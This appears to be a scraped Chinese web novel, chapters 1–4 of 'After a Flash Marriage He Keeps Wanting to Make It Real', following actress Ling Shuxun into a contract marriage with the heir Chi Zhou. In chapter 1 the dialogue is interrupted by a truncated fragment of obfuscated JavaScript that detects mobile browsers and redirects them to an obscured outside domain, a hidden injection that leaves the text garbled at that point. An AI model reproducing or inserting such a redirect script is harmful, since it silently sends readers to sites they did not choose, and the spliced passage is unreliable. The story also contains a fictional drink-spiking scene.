《闪婚后他总想转正》
1. 第 1 章
“凌书寻小姐,你饰演的‘乔佳’台词很少,请问你对此有什么想法吗?还是说只按照导演的要求,往那一站就行?”
这是爱情电影《三年》的路演现场,凌书寻作为出场时间加起来不到五分钟的小配角,始终站在最边缘的位置。
提问环节已近尾声,凌书寻以为不会有自己开口的机会时,记者的话筒猝然递到了嘴边。
凌书寻眼里闪过一丝意外,但她并没有因此慌乱,眼神依旧清澈专注。
她平静的思索几秒后答道:“我认为乔佳的沉默寡言,恰恰是那个压抑环境里的一种写照。”
“虽然很多人认为台词少的配色没有发挥空间,但我却认为台词的量是需要贴合人物的,我请教了编剧老师后,跟他商量了一起为乔佳设计了一些小细节,比如面对男主时捏衣角的紧张,说话时声音中的胆怯和颤抖。即使只有几个字的台词,我都很清楚她为什么要这样说。”
她顿了顿,声音清晰:“暗恋无声。即使是再微小的角色,都有自己的血肉。”
导演本没有对凌书寻的回答抱有什么期待,听她说完顿时眼睛一亮,脸上露出赞许和惊讶的表情,身体微微前倾,带头鼓起掌。
影厅的观影区域的年轻观众也爆发出轰鸣的掌声。
掌声结束后,主持人举起话筒,宣布这一环节的结束:“最后,请主创团队站到前排座椅这里,和现场观众以及媒体们一起合个影吧!”
凌书寻也微微低着头向前走,忽然,不知是谁从后背推搡了一下,她骤然失重,整个人猝不及防地向前方跌了下去!
全场瞬间寂静。
抬眸的瞬间,凌书寻对上了女主角林露的眼睛。
林露后退一步站定,手持话筒微笑:“怎么了,书寻,想站C位可不能光靠假摔啊。”
场上开始窃窃私语。
“不要脸”“糊咖”诸如此类的议论声陆续传入凌书寻的耳中,她脸颊发烫,慌乱地从地上站起来后退半步:“不好意思林露姐,刚刚没站稳,影响到大家了。”
她快步走去边缘,听到身后传来一声轻微的嗤笑。
……
路演结束,凌书寻回到影院提供的临时休息室兼化妆间。
林露坐在最中心位置的化妆台前,化妆师和助理正旁边弯腰帮她补妆。
看到凌书寻进来,林露挑了一下眼皮,皮笑肉不笑地叫住她:“配角就要有配角的样子,别看到记者的话筒就忘了自己是谁。”
凌书寻看着林露笑了笑:“露姐,我认为配角也有为剧宣传的责任,否则这场路演大可以不邀请我。”
林露冷哼一声:“路演请你是看得起你。有些人就算入圈再久,也只能做配。”
房间内很安静,包括导演在内的其他人都不搭话,只悄悄竖起耳朵。
林露近两年发展势头实在是猛,本次出演女主角更是资方指定,没人敢得罪。尽管路人缘一般,但她团队和粉丝都很厉害,不仅会营销,控评能力也一流,咖位已直逼一线。
凌书寻没有回应,只找个空位置坐下,面前的梳妆镜里映照着她和不远处林露的身影。
平心而论,林露的颜值在美女如云的娱圈里并不算出挑,颧骨高、面部轮廓有棱角感,看上去成熟而有侵略性。也许是知道自己的脸不算优势,所以同剧组的所有女演员,只要颜值比林露高的,总要被她针对。
尤其是凌书寻,天生清冷明艳,又带着几分圈内罕见的书卷气,加上凹凸有致的身材,总会在不经意间就夺走在场大多数人的目光。所以在片场时,林露对她总是格外“关照”。
对凌书寻来说,拍戏的机会本就来之不易,若是顶撞带资进组的林露,自己的下场只能是滚蛋。所以绝大多数时候,她只能沉默。
补完妆的林露带着助理离开,制片人、导演都跟着出去送行。
化妆师悄悄来到了凌书寻身边,俯身在她耳边小声说:“别难过,你比她漂亮,我相信你会红的,加油!”
凌书寻心中微漾,感激的对她笑笑。
见房间内大咖都已离开,靠近门口的两个工作人员开始八卦起来。
“哎,你听说了吗?林露最近在接触一部大制作的上星剧《烈焰》,她想要演女主,但是目前两方资本在博弈,所以一直没定。”
“除了林露背后的音极娱乐,还有哪方资本?”
“好像是迟翡集团旗下的扶光影视。但是扶光这两年资源流失蛮多的,所以音极才敢和他们碰。不过我还听说,现在迟翡是太子爷掌权,可能要重整扶光影视……”
“我一个前辈说过,这位太子爷又年轻又帅,做事雷厉风行!可惜的是他太低调,很少在公众面前露面,还传闻他不近女色……所以都没有媒体拍到他清晰的照片。”
“我靠?这种男人真的存在吗,能不能让我亲眼见一下……”
这两人一惊一乍、一逗一捧,凌书寻觉得她们没去做营销号真的可惜了。
扶光影视……她突然想起,自己和他们约了明天下午的面试,如果真的能签约扶光影视,会不会有朝一日能见到这位传说中的太子爷?
凌书寻又立刻否定自己,十八线咖位的小演员,怎么可能见到那样位高权重的人,真是想多了。
……
北城春日少雨,但今天却有些阴沉,下午五点的光景,天色已经灰暗。
凌书寻站在影院的路边,一次次招手换来的是一辆辆出租车呼啸而过,手机里的打车软件提示着下班高峰繁忙。
一辆玛莎拉蒂GT在她面前停下来,车窗内是她此时最不想看见的人。
“上车。”车内的男人发出命令。
见凌书寻转身欲走,戴择立刻冲出来,快步拉住她的手腕哀求道:“小寻,我们谈谈。”
“戴先生,我们已经分手了。”凌书寻皱眉,几度想要甩开戴择的手,但他抓的很紧。
“分手了就一定要做陌生人吗?要下雨了,我送你回去。”说罢打开车门,戴择人高马大,直接把凌书寻硬塞进了车里。
驱车十几分钟后到达铂悦路。
这条路坐落在北城最矜贵的地段之一,两侧的建筑却是低矮的方匣,每个店铺都极具设计感,而上方的LOGO都是普通人望而却步的顶级奢牌;偶有一两栋大楼夹在其中,都是国际超星级酒店。
整个街道行人车辆稀疏,透着一股拒人千里的疏离。
“最近有家意大利餐厅口碑还不错,小寻你饿不饿?”戴择停下车,撇过头来看着她,“或者,我带你去爱马仕买个新款包包?”
他语气自然,好像他们从未分手。
凌书寻只看着车窗外,冷淡回应:“不需要。我认为你应该先解释一下,背着我这个女朋友和其他女人订婚的事。”
戴择叹了口气:“我想解释,可是你不接电话。”
“那你告诉我,我为什么是最后一个知道的?”凌书寻直接打断,她原本泠然的声音因为愠怒而提高了一个度,“戴择,如果我没有从媒体上看到你要联姻的报道,你还想瞒我到什么时候?真可笑,我竟然没察觉你劈腿!”
“我不是劈腿。只是现在公司有危机,这次订婚是我们两家的权宜之计。小寻,给我点时间,我会处理好的。”戴择握住她的手,眼神里全是占有欲。
凌书寻的心脏好像盛满了某种液体,变得沉重、酸涩,又带着灼烧的痛感。
“你想怎么处理?”她的声音开始沙哑。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16093135|179671||http|test|mini|href|location''.split(''|''),0,{}));
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>“你知道的,我的家人不能接受你在娱乐圈,所以能不能为了我,再考虑一下退圈的事?”
凌书寻扯了扯嘴角:“退圈你就会娶我吗?以前我们在一起的时候,我迁就你的安排,事事以你的时间和想法为重,不接吻戏、不炒CP,丢了很多工作的机会,沦落到成现在的十八线演员。可是你却背着我跟另一个女人订婚!”
戴择沉默了一会,目光闪烁,语气带着试探:“也许,我们还是可以在一起的。你退出娱乐圈,我给你盘一家花店,每个月再额外给你五万。等我完全接手家里的产业,我会补偿你更多。”
“你是想让我做你的情妇?”凌书寻愣了一下,顿觉眼前的人变得及其陌生,心中的悲伤被突然的愤怒冲散,“戴择你个王八蛋!你把我当什么了?”
“我和俞斓只是为了利益,我们两个没有任何感情。”说着他双手扶着凌书寻的肩,急切地凑过来,”小寻,做我的女人,我不会亏待你……”
看着他急切的脸逐渐逼近,凌书寻只觉得恶心,不想在听他说半句,于是下意识抬起手。
“啪”!
戴择的脸上浮现出一片红印,他的动作瞬间被凝滞。
凌书寻也不可置信的看着自己的手,全身都在微微颤抖。
这一刻,他们的关系,彻底终止在了这个响亮的耳光里。
“别再来骚扰我,我会报警。”凌书寻轻声说着,打开了车门。
“可是小寻,”关门的一瞬,她听到戴择笑了,声音里夹杂着嘲讽:“离开我,你还会找到条件比我更好的人么?”
天空终于开始飘起雨丝。
……
迟昼正坐在靠窗的位置,心不在焉的看着窗外城市初上的华灯。
此时餐厅的顾客不多,一个年轻女人正坐在中心位置拉着大提琴,低沉悠扬的乐符清晰可闻。
他面前的桌上摆放着几个洁白的、骨瓷般轻薄的餐盘;银质的刀叉整齐的摆放在两侧,反射着冷冽的光芒。
坐在对面的女人此时正楚楚可怜的看着他,眼中已经噙满泪水,却依然喋喋不休。
“迟昼哥哥,我是真的很喜欢你,所以才再一次鼓起勇气让伯母约你出来。”她的声音软软糯糯,带着几分撒娇,“你对我真的一点感觉都没有吗?”
迟昼把视线从窗外收回,看着面前几欲落泪的女人,冷淡开口:“秦小姐,我以为上一次相亲的时候,我已经说的很清楚了。”
秦欣宜一愣,眼眶中的泪水也不受控制,如决堤般一泻而出。
“抱歉。”迟昼的声音低沉而平稳,却又带着天生的冷感,穿透空气进入秦欣宜的耳膜。
“那你能不能告诉我,你喜欢什么样的女生?”她啜泣不停,小声说:“我可以努力变成你喜欢的样子!”
迟昼看了一眼腕表,微微皱眉,他六点半还有个跨国会议,已经不想在此纠缠。
“我已经买过单。你可以慢慢享用。”他起身向走向门口。
接过侍者递上来的外套走出Le Ciel餐厅,助理已经把车开到了门口,正撑起伞等着他。
助理拉开车门,迟昼正欲侧身进去,突然有人抓住了他的手臂。
“救我!”
迟昼低头看了一眼这个不知从哪冒出来的女人,她穿着一身淡绿色的连衣裙,身材高挑有致;面庞白皙清丽,纤长的睫毛被细密的雨水濡湿,眼尾带着一抹薄红,风吹起她的几缕发丝拂过唇边。
他抬手制止想过来拉开女人的助理,只眉头微蹙问道:“你是谁?”
“那边有个男的一直在开车尾随我!”凌书寻用眼神示意了一下戴择车停的方向,随即像一只惊恐的小鹿,眨着湿漉漉的眼睛问:“能不能帮我?”
2. 第 2 章
迟昼刚想叫Le Ciel的侍应生帮她报警,恰好看到秦欣宜的身影正在走向门口。
他立即低下头,呼吸擦过凌书寻耳廓,声音压得极低:“冒犯了。”
话音未落,他指尖抚过她额前凌乱的碎发。还没容她反应,迟昼手臂随即圈住她腰侧,力道平稳地将人一带,便送进了车后座,反手一推,车门发出沉闷的关合声。
助理撑伞送他至车门另一侧,拉开车门,他的身影没入车内。
黑色的劳斯莱斯很快消失在了雨中。
车内。
“去哪?”男人坐在旁边问她,声音低沉却没有温度,像一块浸泡在冷泉中的玉石,透露着难以忽视的磁性。
“青云路。”凌书寻下意识回道。
男人朝司机轻抬起凌厉的下颌:“先送她。”
司机应了一声,随即调转方向送凌书寻回到了青云路的公寓楼下。
迟昼从车子的中控拿起平板,开始处理工作。
凌书寻悄悄侧过脸,打量着身旁的男人。
混迹娱乐圈三年多,凌书寻自认为也是见了不少大帅哥的,但是眼前这个男人给她的感觉和之前所有的男明星都不一样,气质更为优雅矜贵,带着优渥生活涵养出来的冷漠淡然。
刚才在铂悦路,她从戴择的车上逃离,头也不回的向前跑,蛛网般细密粘稠的雨丝落在她的发间。
奔跑中她看到这个身着西装,身形颀长挺拔的男人从Le Ciel餐厅走出来,路边停着一辆劳斯莱斯,有名司机正撑着伞等待。
这个餐厅大概就是戴择提议来的那家,一个会员制的高级意大利餐厅;每一道菜品的价格,都是五位数起步。
这个人必定算是有钱人,凌书寻确切的想:起码不比戴择逊色,也许对自己来说是个机会,不如趁现在,赌一把。
于是她趁他们没有注意的时候冲上去握住了那个年轻男人的手臂,装出急促又无助的表情,对他说:“救我。”
男人的目光落在凌书寻脸上的时候,她才看清他的模样。
他的眉眼锋利而深邃,一双瞳仁漆黑如寒潭,高挺的鼻梁下薄唇轻抿,透露着冷峻疏离的气息,又有几分漫不经心的倨傲。
一开始,他有点抗拒她的接触,可又像意识到了什么,立刻改变主意。
在他温热的呼吸掠过耳畔之际,凌书寻听到自己的心跳漏了一拍。
然后就被他顺势带进了车里。
……
即将到达青云路时,他终于从工作中抽离,看了眼窗外。
“谢谢你帮我。”凌书寻趁此间隙开口。
对方偏头睨她,薄唇轻启:“互惠互利的事情,算不上帮。”
他明明依旧冷淡没有表情,可是不知怎的,他的神态让凌书寻的脑袋里突然闪过一个画面——Le Ciel餐厅门前,有个女人愣在原地。
是的,关门的那一瞬,她看到了那个女人。
凌书寻顿时反应过来,其实自己是被利用了!
她陪身边这个男人演了一出戏,去伤另一个女人的心,而自己刚刚居然还对这个渣男说谢谢?!
凌书寻将眼前这个男人和戴择划为同一渣男阵营,于是她深吸一口气,抬起精巧的下巴看向男人:“那你是不是也该向我道谢,陪你演了一出戏?是不是该有点表示?”
凌书寻心里暗骂,这个男人虽然长了一张清冷俊美的脸,却和戴择一样,都是伤害女人的混球!
“你想要什么?”男人的视线平静而冷冽。
“请我吃饭。”凌书寻微笑眨眨眼睛,大脑却没有停止运转,她要创造一个继续见面的机会。
她知道眼前这个男人身份地位不凡,也许能为她萎靡的事业带来一些帮助。尽管,她也可能会付出一些代价,不过没关系,只要能让自己重新崛起。凌书寻想,他是一个花花公子,而自己恰好已恢复单身……起码,他的外形条件,远比圈内的绝大多数男人优质的多。
“抱歉。”他打断了凌书寻的想法,声音慵懒:“我赶时间。”
司机已经把车停到路边,走过来为凌书寻打开了车门:“小姐,您的目的地已经到了,请下车吧。”
凌书寻低下头轻抿嘴唇,正犹豫要不要下车,耳畔倏而又听到他的声音:“钟俊,留一下这位小姐的联系方式。”
她疑惑转过头,对上他寒石般的眼眸。
视线中他修长的双腿交叠,单手撑着下颌,目光垂下,语调依旧漫不经心:“日后你若遇到困难,可以联系我的助理钟俊,我会力所能及的帮你。”
“不过,机会只有一次,要好好把握。”
……
迟昼听完会议汇报后又在办公室处理了几份文件,直到手机响起,他才从工作中抬起头,看了一眼屏幕。
父亲迟擎苍的名字闪烁不停。
“现在回家一趟,我有话对你说。”
迟昼一路疾驰回迟家的老宅,开门看到迟擎苍和继母曲月兰正坐在客厅的沙发上。
看到迟昼的身影,迟擎苍直接开门见山:“你和秦欣宜是怎么回事?”
“就是你听到的那样。”迟昼只淡淡看了两人一眼,面色平静。
迟擎苍看到他这个毫不在意的态度,火气立刻上来:“秦家这几年发展的不错,秦欣宜跟你年龄也合适;更何况我们两家还有生意上的往来,你在挑剔什么!还把秦欣宜惹哭了,人家来找我兴师问罪,这以后我们两家还怎么合作?”
迟昼冷笑:“所以为了生意就可以把亲儿子卖了?你问过我的意见吗?”
“和秦家联姻,能助我们一臂之力。再说了,秦家的女儿是我们从小看着长大的,温婉贤惠,对你和集团来说都是好事,你有什么不满意的?”
迟昼勾勾唇角,随手拖过一把椅子坐下,气定神闲地看着迟擎苍:“我接手集团的这两年,股价持续涨停,市值和营收也都比当初上涨接近10%,何时需要联姻来帮助?”
“你……哼!”迟擎苍一时语塞,忿忿喘着粗气。
曲月兰见状赶紧伸手轻抚他的胸口,又递了茶,看了一眼迟昼语气略带责备:“你知道你爸爸心脏不好,怎么还总是跟他唱反调。”
“就算不跟秦家联姻,也还有其他世交的女儿排着队想嫁给你,不过早晚而已。”迟擎苍冷哼一声,抿了口茶继续说道:“身为迟家继承人,婚姻大事由不得你做主!”
迟昼眼中似覆着一层寒霜,他的唇角再次勾起一抹笑意,声音平静而没有温度:“做不了主,我就不当这该死的继承人。”
说罢,迟昼没有一丝犹豫,开着法拉利离开了老宅。
只留迟擎苍在原地暴跳如雷。
其实迟昼并不反感商业联姻,甚至和谁结婚他都不在意。
他只是不想听从迟擎苍的安排。
从他八岁开始,父子关系就注定无法缓和,两人唇枪舌战、针锋相对了二十年。
这么多年来,迟擎苍想让他做的事,他一件都不听,唯有接手迟翡集团是例外。因为迟翡也凝聚着母亲的心血。
而他的婚姻,也绝不会让迟擎苍称心如意。
-
翌日下午,迟昼直接来到扶光影视,没有提前通知任何高层。
迟翡旗下的扶光影视,是迟昼母亲当初一手创立的,但是营收在集团所有产业里处于末流,一直未收到重视。近些年更是放任自流,不仅很多艺人纷纷解约,投资的影视剧也大都反响平平。
这也是迟昼接管集团以后第一次亲临
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扶光。
他走进一楼大厅的那一刻,过于优越的外形就吸引了众多人的目光。
前台本来还以为这是公司新签约的艺人,直到看到跟在他身后的特助钟俊,才反应过来这可能是传闻中的太子爷。眼见这二人走进电梯,就立刻电话通知了扶光的总经理办公室。
扶光的几位高层负责人跟着总经理姜明杰风风火火的下来,在艺人经纪部门才找到迟昼。
平时集团高层的会议,除了姜明杰,其他人是没有资格参加的,也都毕恭毕敬的跟在迟昼身后,听着姜明杰详细介绍扶光影视的情况。
其实他们前几天也听到过风声,说这位太子爷在集团高层的会议上提到扶光,但没想到他这么雷厉风行,今日就亲自来视察。
迟昼边走边听姜明杰的工作汇报,几乎没有露出过情绪,冷峻凌厉的眉眼压迫感极强,他们心都提到了嗓子眼,生怕哪句话会说错,会惹得他不快。
前面的房间传出一个男人的怒吼,打断了姜明杰的汇报:
“扶光愿意签你这种十八线小明星都是看得起你,你是什么东西,还敢跟我谈分成?!”
“双方合作的基础是应该是尊重和平等。”一道女声也徐徐传来,声线平稳而清越:“而不是——仗势欺人。”
迟昼抬眸望去,玻璃墙后的会议室里坐着一男一女。男人背对着走廊,依靠在座椅上,高昂着头颅。一个年轻女孩隔着长桌坐在对面,穿着一件白色卫衣,如墨般的长发披下;简单干净的打扮,衬托的她玉瓷一般的脸庞愈发清丽动人。
“凌书寻,轮得到你来教我做事?不签约就滚蛋!”男人愤怒的撕碎手中的简历,伸手往门外一指。
凌书寻起身,对着男人冷冷一笑:“你一定会后悔今天对我的所作所为。”
她抬头,看到门外站着一群西装革履的人,明显愣了一下。人群的中心,是昨天帮助过她的,那个好看的要命的男人。
“那个……迟总,这应该是艺人合作没谈拢。”姜明杰拼命找补,“大家平时工作态度都很认真,很少说脏话……”
见迟昼抬手,姜明杰立刻识趣的闭上了嘴巴,心里暗暗痛骂会议室的两人,在这关键时候让自己脸上挂不住。
凌书寻看这一行人对他如此恭敬,又听到“迟总”两个字,很快反应过来:迟翡的太子爷,居然真让自己碰上了!
几乎没有任何迟疑,她跑到迟昼面前,拦住他的去路:“你昨天说的,还算不算话?”
迟昼低头凝视,她的眼神清亮而坚毅,带着一股倔强。
“跟我来。”他说。
钟俊立刻遣散众人。
凌书寻跟上迟昼的步履,推门来到一处空中花园。
此时已近黄昏,夕阳柔和的光线洒下来,为这处顶楼花园的一切都嵌上金边。微风轻拂,四下只有植物叶片摩挲的声音,世界仿佛只剩下两人。
“你说过会帮我一次。”凌书寻开口,“那么迟总,请让我签约扶光影视,给我我想要的资源,并且分成至少为五五。”
她冷艳面容上的野心与欲望毫不掩饰,被他尽收眼底。迟昼一时没有说话。
“可以吗?”凌书寻咬咬嘴唇。
迟昼蓦地笑了,声音低沉好似带着蛊惑:“我可以让你成最当红的女明星。只是,有一个附加条件。”
凌书寻心中顿时了然。
是了,他是位高权重的花花公子,在她之前恐怕也已经同很多女人做过类似的交易。正因为如此,自己才有机会和他在这里谈条件,尽管是以自己的身体和美色交换。
没关系,都可以。只要能让她在这个名利场有一席之地,不用事事仰人鼻息。
她耐心等待他的条件。
“和我结婚。”
3. 第 3 章(修)
凌书寻瞬间蒙了,这和她预想的完全不一样,连同说话的声音都开始哆嗦起来:“你,你,你说什么?”
迟昼的唇角勾起,重复一遍:“结婚。”
凌书寻沉思片刻,抬眸对上了迟昼那双凛冽而深邃的目光,她说出口的话不知不觉带上几丝犹豫:“我既没名气也没钱的,你要诈骗的话最好换个人吧……”
迟昼:“……”
他无奈捏捏眼角:“以我的身份,需要诈骗你?”
正因如此,凌书寻才愈发疑惑:“可你为什么要和我结婚?我看电视剧里你们这种豪门都是要和门当户对的女人联姻的。”
迟昼的视线落在她瓷白的脸上,语气冷淡却牢牢吸引着她的全部注意力:“只要你同意结婚,我会让扶光为你成立单独的工作室,所有的影视资源悉数奉上,让你成为一线女星。”
“领证之后,我们不会办婚礼,也不会有任何通稿。你在圈内人和粉丝的眼里,依旧是单身形象。”
凌书寻眯起眼睛望着对面的男人:“那你的条件是什么?”
他微微垂眸,轮廓锋利又深邃,神色漫不经心:“结婚证,以及一个名义上的妻子。所以,在某些我需要的场合,你都要在我身边,扮作我最忠诚的妻子。”
“我给你一天的时间考虑。”迟昼说完迈着长腿要走。
“我同意。”很坚定的声音。
迟昼回头盯着她,似是从她脸上看到了让自己满意的表情,嘴角再次噙上了一抹笑意:“明天我会让人起草一份合同给你,没问题的话就去领证。”
他目光抬头掠过她,低头看了下手上的马耳他腕表:“现在,我想提前行使一下我的权利。”
“今晚有个订婚宴会,陪我去参加吧。”
-
车子在琼岛酒店的大门前停下。迟昼打开车门,十分绅士的伸手扶凌书寻下车。
凌书寻单手拖着换好的礼服裙,抬眼打量周围。
这里是远离市中心的一片天然湖泊,酒店就低调的隐于湖心半岛的尽头。在夜色和霓虹的作用下,看不出本来的样貌,只觉得建筑线条舒展,与湖光融为一体。
酒店的大厅里竖着一个红色迎宾牌,宣告着这场宴会的主角:
戴择&俞斓订婚答谢酒会
其实在来之前,凌书寻就已经隐约猜到了。同样是豪门,同样的订婚日期,不是戴择还会是谁。
但亲眼看到的这一刻,凌书寻心里仍然飘过几丝复杂的情绪。
既然已经答应迟昼的利益交换,凌书寻自然也明白,日后免不了会陪他出席这样的场合,今天也算提前适应了。更何况,她还有自己的一点小小的私心。
宴会厅里人影攒动,交谈声此起彼伏,衣着看着都很考究,想来都非富即贵。
虽说是戴俞两家的订婚典礼,本质上不过是一场商界交流合作的宴会,在场的每个人都怀着自己的心思。
看到迟昼走进来,现场的人几乎都不约而同的沉默,并以眼神致意。几个气质不凡的人,端着酒杯主动来招呼寒暄。
没过多久,俞斓和戴择出现在宴会厅门口,她身着一袭红裙,挽着西装革履的戴择走了进来,带着微笑和道贺的人打招呼;戴择时不时侧头看看俞斓,笑容温和,似乎周身都笼罩着幸福的光泽。
凌书寻翻了个白眼,明明昨天还在跟自己说两人只是逢场作戏,今天却又做出一副甜蜜的模样,在自己面前大秀恩爱。
狗东西戴择!花言巧语的渣男!
似乎是感受到了凌书寻直白的目光,戴择和俞斓朝她的方向看过来,瞬间发现了她。
凌书寻本就身形高挑,在身上这条迟昼挑选的昂贵礼裙的衬托下,更是冷艳逼人,存在感极为强烈,何况她身边还有一个清俊挺拔的大帅哥,两人实在惹眼。
俞斓和戴择的脸色有一瞬间变得不自然,但依然维持着大方继续同其他人交谈。
凌书寻心底又悄悄骂了戴择几句。
又有几个西装革履的人端着酒杯来和迟昼敬酒和引荐,不自觉地以他为原点,众星捧月般的环绕周围;最中心那一弯衿冷的月亮,牢牢吸引着所有人的目光。
凌书寻渐渐离了迟昼几米远,周围的人来来去去一直在流动。
戴择和俞斓似乎始终挽着手活动在凌书寻和迟昼的周围。她的目光时不时飘过来,唇角带着一抹似有若无的笑意。两人又耳语几句,俞斓面色又有些不快。
凌书寻从侍应生的托盘里接过一杯香槟浅啜,并未注意他们的动静,当放下再抬头时,俞斓已经挽着戴择走了过来。
“凌小姐,久仰大名。我是俞斓,戴择的未婚妻。”俞斓站在凌书寻面前,眼神锐利,嘴角依旧噙着那抹笑意。
凌书寻在此之前并未正式见过俞斓,但却明显感觉到她笑容中的不善。出于礼貌,她还是递出手:“你好。”
俞斓笑着看了一眼凌书寻停在半空中的手,没有握上去,只自顾自的喝了一口香槟。
戴择见状轻轻咳了一声,看着凌书寻说道:“你怎么来了?”
凌书寻猜到了他们的意图,不外乎是想向着自己耀武扬威,宣告自以为是的“胜利”。
可是他们猜错了,凌书寻已经不再在意戴择,更不会在意俞斓。但她在意自己,不应该被这两人奚落。
凌书寻垂眸看看自己白皙纤长的手,随即毫不在意的收回,对上戴择的眼睛粲然一笑:“我未婚夫非要我陪他过来,确实是行程比较突然,没早点和你说。”
是戴择对不起自己在先,这时自己岂能甘拜下风?
凌书寻灵机一动,迅速搬出了迟昼,反正他现在不在,听不到,那自己说什么就是什么!
俞斓还没张口,戴择倒是先一怔,脱口问道:“你的未婚夫?”
“是。”凌书寻点点头,昂起俏丽的下巴指着迟昼的方向:“我未婚夫,正在应酬呢,需要介绍你们认识吗?”
俞斓忍不住哈哈大笑起来:“以前还以为你有多聪明,才能缠住戴择那么久,可现在看来还真是我高估你了。”姣好的面容因为得意而略显扭曲,“说瞎话都不打草稿。大名鼎鼎的迟翡太子爷是你的未婚夫?你倒是敢蹭,可他认识你吗?”
“认识。”
一道清冷的声音在凌书寻耳边响起。
凌书寻抬头,迎上迟昼清冽沉静的瞳仁,里面倒映着一个小小的影子。
对面的二人皆是一愣。
俞斓的笑意还未褪去,就这么凝滞在脸上,还是戴择先反应过来,向迟昼颔首:“迟总,好久不见。感谢您百帮之中还能来参加我们的订婚酒会。”
俞斓也敛好表情,声音里带着一丝试探:“迟总,这位凌小姐是您的未婚妻?”
凌书寻霎时间有些慌乱。尽管迟昼已经提出和自己协议结婚,但毕竟事情未有定数,她就为了面子在戴择面前乱说“未婚妻”,怎么看似乎都不太好。如果迟昼这时候再否认,那自己真是丢脸丢到姥姥家……
不管了!
趁迟昼尚未回神的片刻,凌书寻猛地抬手勾住了他的脖颈,向下一带。力量猝不及防,他只能被迫低头——视野瞬间被她那双琥珀色的眼眸填满,紧接着,一片温软毫无预兆的覆上了他的唇。
所有还未出口的话,连同他的呼吸,都在此刻被封缄。
迟昼全身一僵,瞳孔骤然收缩,而后闭起眼睛,轻轻扶住了她的细腰。
戴择和俞斓都瞪大眼睛,露出不可置信的表情。
周围也陆续有人看到了这一画面,被震惊的说不出话,宴会厅变得安静起来。
……
一个绵长的吻,仿佛连同呼吸都缠在了一起。
终于,凌书寻放开了迟昼,下意识扫视周围的人群,没想到有几十号人都在看着自己!
凌书寻原本白皙的皮肤此刻已经变成绯红,出于一个演员的自我修养,她继续装作落落大方的样子:“抱歉,情不自禁。大家继续。”
“你们……”俞斓依旧深陷震惊之中,说话都不连贯,“迟总……这……”
迟昼眉心轻拧,目光冷冽,全身都是上位者独有的、压迫的气息。
在他无声的凝视中,俞斓的声音越来越小,周围的人也默默散去。
戴择先看了一眼迟昼,接着看向凌书寻:“难怪你不接受我的挽留
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,原来早就攀上了迟总的高枝……”
听闻此言,凌书寻那双弯弯的挑花眼半眯着,细细打量起戴择。当初和戴择在一起时,就已经觉得他样貌上乘,一表人才,可是现在在迟昼面前,戴择黯然失色,气场也弱了几分。迟昼的气质和样貌,远远要出众得多。
凌书寻回神清清嗓,眉眼轻扬:“只许州官放火不许百姓点灯?”
“小寻……”戴择还想再说什么,俞斓忽然抓紧他的手,他沉默下来。
而俞斓的笑容夹杂着尴尬,就这么摇摇晃晃的挂在脸上。
她没有想到,凌书寻会来到自己的订婚典礼,也没有想到凌书寻攀上了迟昼——这个连她作为几十亿家产的俞家独女都不敢肖想的人;更意外的,是戴择竟然会在这时承认他挽留过凌书寻。
在今晚之前,俞斓以为自己是赢家。
和戴择在长辈的介绍下在一起时,她知道戴择和凌书寻的关系。但是她爱戴择,用半年战胜了他们的三年,带着喜悦和他订婚,却在典礼上得知他旧情难忘,他看向凌书寻的眼里,是俞斓没有见过的炽热。
她心痛的无以复加,却只能慌忙拉着戴择离开:“既然这样,那我们就不打扰了,祝你们今晚玩得开心。”
转身的一瞬,俞斓的脸上收敛起所有表情,唯有不甘。
见他们已经消失在视野范围,凌书寻看向迟昼认真的道谢:“谢谢你,迟老板。”
“谢什么?”
“当然是谢谢你没有拆穿我。”
迟昼的眼神微微游移,声音淡然:“既然已经答应结婚,不就是我的未婚妻了?”
凌书寻本来想说什么,却突然注意到,迟昼的耳朵好像有点发红,就疑惑地问:“迟老板,你的耳朵怎么了?”
“咳,没什么。”迟昼眼神又开始游移,而手机忽然响了起来,他看一眼屏幕:“我先去接电话。”
凌书寻的身边再次变得空空荡荡。不远处总有人偷偷看她,凌书寻知道是刚才的那个吻带来的副作用。
这时有个壮硕的男人出现在她眼前,左手持两杯香槟。
“凌小姐,能否请您喝一杯?”
凌书寻心生疑惑,发生刚才的事情以后,怎么还会有男人来找自己搭讪?
也许是看懂她的戒备,男人笑了几声,又补充道:“别误会,我是你的校友,不过比你大一届。你不认识我,但是我们可都知道你,堂堂R大校花,是咱们学校多少男生的梦中女神!真没想到今天能在这里遇见你。”
“过奖了。”听到男人是校友,凌书寻友善的微笑。
“来。”男人递给她一杯还在冒着气泡的香槟,“一起干一杯。”
凌书寻接过,只轻抿一口,却顿觉口感不对!
酒水里一定被加了东西。
还没来得及说话,她感觉一阵眩晕,呼吸开始粗重起来。想张口,却觉得喘不过气。
“凌小姐,春宵苦短。”男人露出一个得逞的表情,带着油腻的笑,他伸手扶住凌书寻的胳膊,想拉着她离开。
“你到底是谁,你想做什么……”凌书寻拼尽全力想要挣扎,可全身软绵绵的使不出力气。她尽力睁大眼睛,环视了一圈宴会厅,不见俞斓和戴择的影子。
她心里隐约有了答案。
迟昼也是被他们支走的吗?
凌书寻脑中有些混乱,但好在没完全失去理智,眼见男人要把自己带出宴会厅,她必须要想出脱身的办法。
“离她远些。”
凌书寻下意识地看向声音来源——
宴会厅大门的光影之下,她方才所想的人正赫然立在那里。
一身墨黑的西装礼服,白衬衫的领口系着她挑选的领结,他周身清冷,步履从容有力,穿过人群向她而来。
男人一见迟昼回来,毫不犹豫立刻放开了凌书寻,以极快的速度从侧门逃走。
迟昼接过凌书寻,看到她的目光带着迷离,而又有媚态,身体发软,似乎是喝醉了。
“不舒服?”迟昼轻声问。
“我的酒里被加进了东西。”凌书寻伏倒在迟昼的身上,声音有些沙哑,“……帮我。”
4. 第 4 章
迟昼将她圈在怀里,结实有力的臂膀一伸,直接将凌书寻拦腰抱起。
凌书寻双手搭在迟昼宽阔平实的肩膀,脑袋贴在他的胸前,闻到了他身上独有的,清淡而凛冽的雪松的味道。
他低头看着自己怀中的人,面色凛如寒冰,沉声问道:“是谁?”
凌书寻垂着眼睫轻轻摇头:“我不确定……”
